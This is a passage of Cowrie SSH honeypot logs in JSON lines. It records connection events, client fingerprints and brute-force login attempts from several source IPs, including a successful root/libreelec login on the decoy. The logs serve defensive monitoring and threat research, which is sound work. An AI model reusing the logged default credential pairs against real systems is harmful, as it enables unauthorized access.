16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.621608Z","src_ip":"2.57.122.238","session":"9dda1978d4ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.837210Z","src_ip":"20.244.95.173","session":"6f3d6f64a520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.936282Z","src_ip":"2.57.122.238","session":"9dda1978d4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:09.043183Z","src_ip":"2.57.122.238","session":"9dda1978d4ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:09.051597Z","src_ip":"20.244.95.173","session":"6f3d6f64a520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":53630,"dst_ip":"159.203.135.109","dst_port":22,"session":"0da249750ca5","protocol":"ssh","message":"New connection: 20.244.95.173:53630 (159.203.135.109:22) [session: 0da249750ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:30.332120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:30.337641Z","src_ip":"20.244.95.173","session":"0da249750ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:30.546154Z","src_ip":"20.244.95.173","session":"0da249750ca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:30.965037Z","src_ip":"20.244.95.173","session":"0da249750ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:32.175310Z","src_ip":"20.244.95.173","session":"0da249750ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":46776,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc8d96afa8f3","protocol":"ssh","message":"New connection: 77.90.185.17:46776 (159.203.135.109:22) [session: cc8d96afa8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:39:33.447542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:39:33.450818Z","src_ip":"77.90.185.17","session":"cc8d96afa8f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:39:33.562492Z","src_ip":"77.90.185.17","session":"cc8d96afa8f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:39:34.042285Z","src_ip":"77.90.185.17","session":"cc8d96afa8f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:39:47.070439Z","src_ip":"77.90.185.17","session":"cc8d96afa8f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":56160,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccc7813b8feb","protocol":"ssh","message":"New connection: 2.57.122.238:56160 (10.17.0.5:22) [session: ccc7813b8feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:40:29.061471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:40:29.065594Z","src_ip":"2.57.122.238","session":"ccc7813b8feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:40:29.164809Z","src_ip":"2.57.122.238","session":"ccc7813b8feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:40:29.462220Z","src_ip":"2.57.122.238","session":"ccc7813b8feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:40:30.563952Z","src_ip":"2.57.122.238","session":"ccc7813b8feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":46287,"dst_ip":"10.17.0.5","dst_port":22,"session":"d61df626af83","protocol":"ssh","message":"New connection: 2.57.121.112:46287 (10.17.0.5:22) [session: d61df626af83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:11.765051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:11.770121Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:11.874576Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"302302","message":"login attempt [admin/302302] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:12.363518Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301291","message":"login attempt [admin/301291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:13.470016Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30121975","message":"login attempt [admin/30121975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:14.578499Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30111974","message":"login attempt [admin/30111974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:15.685117Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30101971","message":"login attempt [admin/30101971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:16.792663Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:17.899530Z","src_ip":"2.57.121.112","session":"d61df626af83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59956,"dst_ip":"10.17.0.5","dst_port":22,"session":"35bc72721bb2","protocol":"ssh","message":"New connection: 2.57.122.238:59956 (10.17.0.5:22) [session: 35bc72721bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:43.562579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:43.567555Z","src_ip":"2.57.122.238","session":"35bc72721bb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:43.667242Z","src_ip":"2.57.122.238","session":"35bc72721bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:43.965159Z","src_ip":"2.57.122.238","session":"35bc72721bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:42:45.066561Z","src_ip":"2.57.122.238","session":"35bc72721bb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":56443,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6a71ab25f82","protocol":"ssh","message":"New connection: 2.57.121.112:56443 (159.203.135.109:22) [session: d6a71ab25f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:21.719598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:21.724084Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:21.823501Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"302302","message":"login attempt [admin/302302] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:22.294114Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"301291","message":"login attempt [admin/301291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:23.395926Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30121975","message":"login attempt [admin/30121975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:24.498219Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30111974","message":"login attempt [admin/30111974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:25.599459Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30101971","message":"login attempt [admin/30101971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:26.703758Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:43:27.806431Z","src_ip":"2.57.121.112","session":"d6a71ab25f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":35128,"dst_ip":"159.203.135.109","dst_port":22,"session":"f366e922b26f","protocol":"ssh","message":"New connection: 5.75.240.121:35128 (159.203.135.109:22) [session: f366e922b26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:51.843136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:44:51.847287Z","src_ip":"5.75.240.121","session":"f366e922b26f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 